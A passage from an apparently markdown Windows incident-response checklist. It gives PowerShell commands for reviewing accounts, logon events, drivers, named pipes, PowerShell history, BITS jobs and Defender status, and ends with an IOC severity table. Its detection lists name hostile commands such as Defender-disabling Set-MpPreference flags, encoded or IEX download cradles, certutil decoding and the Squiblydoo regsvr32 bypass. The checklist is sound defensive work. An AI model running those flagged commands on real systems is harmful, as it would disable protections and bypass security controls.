- `LastLogon` for accounts that shouldn't log in
- Guest account enabled - should be disabled on managed systems
- `PasswordRequired = False` on accounts that should require passwords

---

### 5.2 - Local Administrators Group
**Tier:** T1  

```powershell
Get-LocalGroupMember -Group Administrators -ErrorAction SilentlyContinue | Format-Table -AutoSize

# cmd fallback
net localgroup administrators
```

**Flag:**
- Unrecognized accounts in Administrators group
- Domain accounts in local Administrators that shouldn't be

---

### 5.3 - T2: Windows Security Event Log - Authentication Events
**Tier:** T2 (admin access to Security log)  

```powershell
# Successful logins (4624), failed logins (4625), account created (4720), account deleted (4726), account changed (4738)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624 or EventID=4625 or EventID=4720 or EventID=4726 or EventID=4738]]" -MaxEvents 200 -ErrorAction SilentlyContinue | Select-Object TimeCreated, Id, @{n='Message';e={$_.Message -replace '\s+',' '}} | Format-Table TimeCreated, Id -AutoSize

# Interactive logons only (LogonType=2 or 10=RemoteInteractive)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]][EventData[Data[@Name='LogonType']='2' or Data[@Name='LogonType']='10']]" -MaxEvents 50 -ErrorAction SilentlyContinue | Format-List TimeCreated, Message
```

**Flag:**
- **4625** (Failed login) rapid succession same source - brute force
- **4624** LogonType **3** (Network) from unusual IPs or accounts
- **4624** LogonType **10** (RDP) - who is RDPing in?
- **4720** (Account Created) - new account?
- **4726** (Account Deleted) - covering tracks?

---

## Phase 6: Driver Activity


---

### 6.1 - T2: Driver Query
**Tier:** T2 (admin recommended for full output)  

```powershell
# Running drivers with paths
driverquery /v /fo CSV 2>$null | ConvertFrom-Csv | Where-Object {$_.'State' -eq 'Running'} | Select-Object 'Module Name','Display Name','Driver Type','Start Mode','Path' | Format-Table -AutoSize

# Check signature status of drivers (can take a few minutes)
Get-WmiObject Win32_SystemDriver | Where-Object {$_.State -eq 'Running'} | ForEach-Object {
    $name = $_.Name
    $path = $_.PathName
    $sig = Get-AuthenticodeSignature $path -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        Name   = $name
        Status = $sig.Status
        Signer = $sig.SignerCertificate.Subject
        Path   = $path
    }
} | Where-Object {$_.Status -ne 'Valid'} | Format-Table -AutoSize
```

**Flag:**
- Drivers with `NotSigned` or `HashMismatch`
- Drivers loading from `C:\Users\*`, `%TEMP%`, or non-standard paths
- Generic or suspicious driver names not associated with known hardware/software

---

### 6.2 - T2: Named Pipes (C2 Framework Indicator)
**Tier:** T2  

```powershell
# List all named pipes
[System.IO.Directory]::GetFiles('\\.\pipe\') | Sort-Object

# PowerShell alternative
Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue | Select-Object Name | Sort-Object Name
```

**Known malicious pipe names (Cobalt Strike + C2 defaults):**
- `msagent_*` - CS SMB beacon
- `MSSE-*-server` - CS
- `postex_*` - CS
- `status_*` - CS
- `mypipe-*` - various C2
- `\\.\.pipe\isapi_http` - CS
- `\\.\.pipe\isapi_dg` - CS

**Flag:**
- Any of above pipe patterns
- Pipes with random hex names
- Pipes from unexpected processes (find which process owns)

---

## Phase 7: Script & Command Execution


---

### 7.1 - PowerShell Command History
**Tier:** T1  

```powershell
# PSReadLine history (most complete)
$histPath = (Get-PSReadlineOption).HistorySavePath
if (Test-Path $histPath) { Get-Content $histPath | Select-Object -Last 150 }

# Check for encoded commands
if (Test-Path $histPath) {
    Get-Content $histPath | Select-String -Pattern "encodedcommand|-enc |-e [A-Za-z]|downloadstring|downloadfile|iex|invoke-expression|bypass|hidden|noprofile" -CaseSensitive:$false
}
```

**Flag:**
- `-EncodedCommand` or `-enc` with base64 payload
- `IEX`/`Invoke-Expression` downloading + executing remote content
- `DownloadString(` or `DownloadFile` with external URLs
- `-ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive` - stealth execution
- `Set-MpPreference -DisableRealtimeMonitoring` - Defender disable
- `Add-MpPreference -ExclusionPath` - Defender exclusion (malware hiding itself)
- `certutil -decode` - base64 payload decode
- `regsvr32 /s /u /i:` - Squiblydoo AppLocker bypass

---

### 7.2 - T2: PowerShell Script Block Logging (Event 4104)
**Tier:** T2 (requires Script Block Logging to be enabled via GPO)  

```powershell
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 200 -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4104} | Select-Object TimeCreated, @{n='Script';e={$_.Message}} | Format-List
```

**Note:** Requires Script Block Logging configured (`...PowerShell\ScriptBlockLogging` → `EnableScriptBlockLogging = 1`). No output if not configured.

---

### 7.3 - PowerShell Transcription Logs
**Tier:** T1  

```powershell
# Common transcription log locations
Get-ChildItem "$env:SystemRoot\Transcripts" -Recurse -ErrorAction SilentlyContinue | Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending
Get-ChildItem "$env:USERPROFILE\Documents\PowerShell_transcript*" -ErrorAction SilentlyContinue
```

---

### 7.4 - BITS Transfer Jobs
**Tier:** T1  

```powershell
# All BITS jobs (including other users if admin)
Get-BitsTransfer -AllUsers -ErrorAction SilentlyContinue | Select-Object DisplayName, TransferType, JobState, BytesTransferred, BytesTotal, CreationTime, RemoteUrl, LocalName | Format-List

# Legacy cmd
bitsadmin /list /alljobs 2>$null
```

**Flag:**
- BITS jobs with `RemoteUrl` to unusual external URLs
- Jobs in `Suspended` or `Transferred` state - completed download
- Jobs downloading to `%TEMP%` or user profile dirs
- BITS jobs from unusual processes (check `OwnerAccount`)

---

## Phase 8: EDR/Security Tool Status


---

### 8.1 - Windows Defender Status
**Tier:** T1  

```powershell
# Defender status
Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AMRunningMode, AntivirusEnabled, RealTimeProtectionEnabled, IoavProtectionEnabled, AntispywareEnabled, BehaviorMonitorEnabled, OnAccessProtectionEnabled, LastQuickScanEndTime, LastFullScanEndTime

# Recent threat detections
Get-MpThreatDetection -ErrorAction SilentlyContinue | Select-Object -First 20 | Select-Object ActionSuccess, CurrentThreatExecutionStatusID, DetectionID, InitialDetectionTime, ThreatName | Format-Table -AutoSize
```

**Flag:**
- `RealTimeProtectionEnabled = False` - real-time protection disabled
- `AntivirusEnabled = False` - AV disabled
- `AMRunningMode = NotRunning` - Defender not running
- Recent threat detections (last 24-48h) requiring investigation
- Last scan times very old (no recent scans)

---

### 8.2 - Third-Party EDR Agent Processes
**Tier:** T1  

```powershell
# Check for common EDR agents
Get-Process -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "falcon|sentinel|elastic|mdatp|MsSense|cbagentd|cylance|eset|sophos|malwarebytes|carbon|osquery|wazuh|ossec|cybereason"} | Select-Object Name, Id, Path, Company | Format-Table -AutoSize
```

---

### 8.3 - T2: Security Audit Policy
**Tier:** T2 (admin required)  

```powershell
# Check what's being audited
auditpol /get /category:* 2>$null

# Check if process creation command line is being captured
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -ErrorAction SilentlyContinue | Select-Object ProcessCreationIncludeCmdLine_Enabled
```

**Flag:**
- `Process Creation` not audited - Event 4688 not logging process starts
- `Logon/Logoff` not audited - no auth logging
- `Object Access` not audited - no file/registry access logging
- `ProcessCreationIncludeCmdLine_Enabled = 0` or missing - cmdlines not captured in 4688

---

## Quick Reference: Windows IOC Severity Ratings

| IOC | Severity | Notes |
|-----|----------|-------|
| WMI event subscription exists (non-Microsoft) | Critical | APT-grade persistence technique - almost never legitimate |
| Named pipe matching Cobalt Strike defaults | Critical | Active C2 framework indicator |
| `powershell.exe -enc` with base64 payload | Critical | Encoded command execution - very suspicious |
| Process running from `%TEMP%` | Critical | Almost never legitimate executable |
| `AppInit_DLLs` set to any non-empty value | Critical | DLL injection into every process |
| `Winlogon\Shell` != `explorer.exe` only | Critical | Shell replacement - likely rootkit |
| Registry Run key pointing to `%TEMP%`/`%APPDATA%` | High | Persistent malware |
| Service with binary in user profile directory | High | Malware as service |
| Office app spawning PowerShell | High | Macro exploitation |
| `Get-MpComputerStatus` shows AV disabled | High | Defender killed/tampered with |
| Scheduled task running from `%APPDATA%` | High | Persistence mechanism |
| `HashMismatch` on running executable | Critical | Binary has been patched/backdoored |
| BITS transfer job to unknown URL | Medium | Stealthy download channel |
| Unsigned driver loaded | High | Potential kernel rootkit |
| `mshta.exe` with URL argument | High | HTML Application execution - LOLBin abuse |
| Guest account enabled | Medium | Reduces security posture |

